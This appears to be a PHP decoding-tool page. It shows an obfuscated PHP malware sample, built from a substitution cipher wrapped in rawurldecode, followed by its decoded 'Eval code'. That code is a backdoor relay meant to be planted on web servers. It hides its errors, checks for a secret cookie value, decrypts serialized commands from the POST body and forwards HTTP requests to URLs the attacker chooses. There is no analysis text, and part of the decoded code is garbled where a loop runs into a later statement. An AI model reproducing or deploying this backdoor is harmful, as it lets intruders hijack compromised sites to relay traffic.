PHP Decode

<?php 
$UselessNumber = 9927; 
function DecodeFunction($longString, $longArray) { 
    $outputString = ''; 
    for ($i = 0;$i < strlen($longString);$i++) { 
        $outputString.= isset($longArray[$longString[$i]]) ? $longArray[$longString[$i]] : $longString[$i]; 
    } 
    $variable = "rawurl" . "decode"; 
    return $variable($outputString); 
} 
$stringA = '%53V8V_afe%Nb%NFAVaJBu2_fLLrLa%NF%Nj3%NT%19%3x%3I%53V8V_afe%Nb%NFBrs_fLLrLa%NF%Nj3%NT%19%3x%3I%5' . '3fLLrL_LfJrLeV8s%Nb3%NT%19%3x%3I%53afe_eVOf_BVOVe%Nb3%NT%19%3x%3I%53Vs' . '8rLf_gafL_ukrLe%NbY%NT%19%3x%3I%53V8V_afe%Nb%NFOuD_fDfKgeVr8_eVOf%NF%Nj3%NT%19%3x%3I%3x%' . '3ItrLfuKZ%N3%Nb%N5_jllHXG%N3ua%N3%N5VefO%NT%3x%3I%F9%3x%3' . 'I%N3%N3%N3%N3Vt%N3%Nb%N5VefO%N3%NY%1x%N3%NN3kub55ti-Kbif-513F-u3tQ-NTfTN13N3ii5%NN%NT%3x%3I%N3%N' . '3%N3%N3%N3%N3%N3%N3fDVe%Nb%NT%19%3x%3I%Fx%3x%3I%3x%3I%N5Aueu%N3%1x%' . 'N3tVBf_sfe_Kr8ef8ea%Nb%NFJZJ%1I//V8Jge%NF%NT%19%3x%3I%N' . '5Aueu%N3%1x%N3aJBVe%Nb%NN%1x%NN%Nj%N5Aueu%NjN%NT%19%3x%3I%3' . 'x%3I%N5ki5_AfKrAf_Aueu%N3%1x%N3kuafi5_AfKrAf%NbgLBAfKrAf' . '%Nb%N5Aueu%Q9Y%Qx%NT%NT%19%3x%3I%3x%3I%N5af8A_Aueu%N3%1x%N3g8afLVuBV7f%NbAfKL2Je%Nb%N5ki5_AfKrA' . 'f_Aueu%NT%NT%19%3x%3I%3x%3I%N5LfagBe%N3%1x%N3af8A_AueuY%N3%Nb%N5af8A_Aueu%NT%1' . '9%3x%3I%3x%3IVt%N3%Nb%NY%N5LfagBe%NT%3x%3I%F9%3x%3I%N3%N3%N3%N' . '3%N5LfagBe%N3%1x%N3af8A_AueuN%Nb%N5af8A_Aueu%NT%19%3x%3I%Fx%3x%3I%3x%3If' . 'KZr%N3%N5LfagBe%19%3x%3I%3x%3Itg8KeVr8%N3AfKL2Je%Nb%N5Aueu%NT%3x%3I%F9%3' . 'x%3I%N3%N3%N3%N3%N5rge_Aueu%N3%1x%N3%NN%NN%19%3x%3I%N3%N3%N3%N3%N5zf2%N3%1x%N3%N5_cG0vG0%Q9' . '%NF4wwh_4lcw%NF%Qx%N3.%N3%N5_cG0vG0%Q9%NF0GoqGcw_q0X%NF%Qx%19%3x%3I%N3%N3%N3%N3%N5zf2_Bf8%N3%' . '1x%N3aeLBf8%Nb%N5zf2%NT%19%3x%3I%N3%3x%3I%N3%N3%N3%N3trL%N3%Nb%N5' . 'V%1x3%19%N3%N5V%N3%1j%N3aeLBf8%Nb%N5zf2%NT%19%N3%N5V%N9%N9%NT%3x%3I%N3%N3%N3%N3%F9%3x%3I%N3%N3%N3%' . 'N3%N3%N3%N3%N3%N5zf2%Q9%N5V%Qx%N3%1x%N3KZL%NbrLA%Nb%N5zf2%Q9%N5V%Qx%NT%N3%QG%N3' . '%Nb%N5zf2_Bf8%N3%NQ%N3NQQ%NT%NT%19%3x%3I%N3%N3%N3%N3%Fx%3x%3I%3x%3I%N3%N3%N3%N3trL%N3%Nb%N5' . 'V%1x3%19%N3%N5V%1jaeLBf8%Nb%N5Aueu%NT%19%NT%3x%3I%N3%N3%N3%N3%F9%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3tr' . 'L%N3%Nb%N5P%1x3%19%N3%N5P%1jaeLBf8%Nb%N5zf2%NT%N3%Ni%Ni%N3%N5V%1jaeLBf8%Nb%N5Aueu%NT' . '%19%N3%N5P%N9%N9%Nj%N3%N5V%N9%N9%NT%3x%3I%N3%N3%N3%N3%N' . '3%N3%N3%N3%F9%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3%N3%N3%N3%N3%N5rge_Aueu%N3.%1x%N3KZL%NbrLA%Nb%N5Aueu%Q9' . '%N5V%Qx%NT%N3%QG%N3rLA%Nb%N5zf2%Q9%N5P%Qx%NT%NT%19%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3%' . 'Fx%3x%3I%N3%N3%N3%N3%Fx%3x%3I%3x%3I%N3%N3%N3%N3LfegL8%N3%N5rge_Aueu%19%3x%3I%Fx%3x%3I%3x%3Itg8KeVr' . '8%N3af8A_AueuY%Nb%N5Aueu%NT%3x%3I%F9%3x%3I%N3%N3%N3%N3%N5ZfuA%' . 'N3%1x%N3%NN%NN%19%3x%3I%3x%3I%N3%N3%N3%N3trLfuKZ%Nb%N5Aueu%Q9%NNZfuAfLa%NN' . '%Qx%N3ua%N3%N5zf2%1x%1G%N5puBgf%NT%3x%3I%N3%N3%N3%N3%F9%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3%N' . '5ZfuA%N3.%1x%N3%N5zf2%N3.%N3%NN%1I%N3%NN%N3.%N3%N5puBgf%N3.%N3%NN%QjL%Qj8%NN%19%3x%3I%' . 'N3%N3%N3%N3%Fx%3x%3I%3x%3I%N3%N3%N3%N3%N5JuLuOa%N3%1x%N3uLLu2%Nb%NFZeeJ%NF%N3%1x%1G%N3uLLu2%Nb%3x' . '%3I%N3%N3%N3%N3%N3%N3%N3%N3%NFOfeZrA%NF%N3%1x%1G%N3%N5Aueu%Q9%NNOfeZrA%NN%Qx%Nj%3' . 'x%3I%N3%N3%N3%N3%N3%N3%N3%N3%NFZfuAfL%NF%N3%1x%1G%N3%N5' . 'ZfuA%Nj%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3%NFKr8ef8e%NF%N3%1x%1G%N3%N5Aue' . 'u%Q9%NNkrA2%NN%Qx%Nj%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3%NFeVOfrge%NF%N3%1x%1G%N3%N5Aueu%Q9%NNeV' . 'Ofrge%NN%Qx%Nj%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3%3x%3I%N3%N3%N3%N3%NT%NT%19%3x%3I%3x%3I%N3%N3%N' . '3%N3%N5KeD%N3%1x%N3aeLfuO_Kr8efDe_KLfuef%Nb%N5JuLuOa%NT%19%3x%3I%N3%N3%N3%N3%' . '3x%3I%N3%N3%N3%N3%N5LfagBe%N3%1x%N3%53tVBf_sfe_Kr8ef8ea%Nb%N5Aueu%Q9%NNgLB' . '%NN%Qx%Nj%N3dIEcG%Nj%N3%N5KeD%NT%19%3x%3I%3x%3I%N3%N3%N3%N3Vt%N3%Nb%N5ZeeJ_LfaJr8af' . '_ZfuAfL%NT%3x%3I%N3%N3%N3%N3%F9%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3Vt%N3%NbaeLJra%Nb%N5ZeeJ_LfaJr' . '8af_ZfuAfL%Q93%Qx%Nj%N3%NNN33%NN%NT%N3%1x%1x%1x%N3dIEcG%NT%3x%3I%N3%N3%N3%N3%N3%N3' . '%N3%N3%F9%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3%N3%N3%N3%N3%N5LfagBe%N3%1x%N3%' . 'NN4wwh_G00l0%Qje%NN%N3.%N3%N5ZeeJ_LfaJr8af_ZfuAfL%Q93%Qx%19%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3%Fx%3' . 'x%3I%N3%N3%N3%N3%Fx%3x%3I%N3%N3%N3%N3fBaf%3x%3I%N3%N3%N3%N3%F9%3x%3I%N3%N3%N3%N3%N3%N3%N3%N3%N5Lfag' . 'Be%N3%1x%N3%NNjlUUGjwXlU_G00l0%NN%19%3x%3I%N3%N3%N3%N3%Fx%3x%3I%3x%3I%N3%N3%N3%N3LfegL8%N3%' . 'N5LfagBe%19%3x%3I%Fx%3x%3I%3x%3Itg8KeVr8%N3af8A_AueuN%Nb%N5Aueu%NT%3x%3I%F9' . '%3x%3I%N3%N3%N3%N3//%N3gaf%N3arKzfea%3x%3I%Fx'; 
$arrayA = Array('1' => '3', '0' => 'R', '3' => '0', '2' => 'y', '5' => '4', '4' => 'H', '7' => 'z', '6' => 'X', '9' => 'B', '8' => 'n', 'A' => 'd', 'C' => 'M', 'B' => 'l', 'E' => 'L', 'D' => 'x', 'G' => 'E', 'F' => '7', 'I' => 'A', 'H' => 'K', 'K' => 'c', 'J' => 'p', 'M' => 'Y', 'L' => 'r', 'O' => 'm', 'N' => '2', 'Q' => '5', 'P' => 'j', 'S' => 'J', 'R' => 'w', 'U' => 'N', 'T' => '9', 'W' => 'q', 'V' => 'i', 'Y' => '1', 'X' => 'I', 'Z' => 'h', 'a' => 's', 'c' => 'S', 'b' => '8', 'e' => 't', 'd' => 'F', 'g' => 'u', 'f' => 'e', 'i' => '6', 'h' => 'P', 'k' => 'b', 'j' => 'C', 'm' => 'G', 'l' => 'O', 'o' => 'Q', 'n' => 'W', 'q' => 'U', 'p' => 'v', 's' => 'g', 'r' => 'o', 'u' => 'a', 't' => 'f', 'w' => 'T', 'v' => 'V', 'y' => 'Z', 'x' => 'D', 'z' => 'k'); 
 
echo(DecodeFunction($stringA, $arrayA)); ?> 
 
 
 
 
 
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Eval code 
@ini_set('display_errors',0); @ini_set('log_errors',0); @error_reporting(0); @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); foreach ($_COOKIE as $item) { if ($item != "0ba844f6-c86e-4307-a0f5-29e923020664") exit(); } $data = file_get_contents('php://input'); $data = split("=",$data,2); $b64_decode_data = base64_decode(urldecode($data[1])); $send_data = unserialize(decrypt($b64_decode_data)); $result = send_data1 ($send_data); if (!$result) { $result = send_data2($send_data); } echo $result; function decrypt($data) { $out_data = ""; $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $key_len = strlen($key); for ($i=0; $i < strlen($key); $i++) { $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255)); } for ($i=0; $i$value) { $head .= $key . ": " . $value . "
"; } $params = array('http' => array( 'method' => $data["method"], 'header' => $head, 'content' => $data["body"], 'timeout' => $data["timeout"], )); $ctx = stream_context_create($params); $result = @file_get_contents($data["url"], FALSE, $ctx); if ($http_response_header) { if (strpos($http_response_header[0], "200") === FALSE) { $result = "HTTP_ERROR	" . $http_response_header[0]; } } else { $result = "CONNECTION_ERROR"; } return $result; } function send_data2($data) { // use sockets }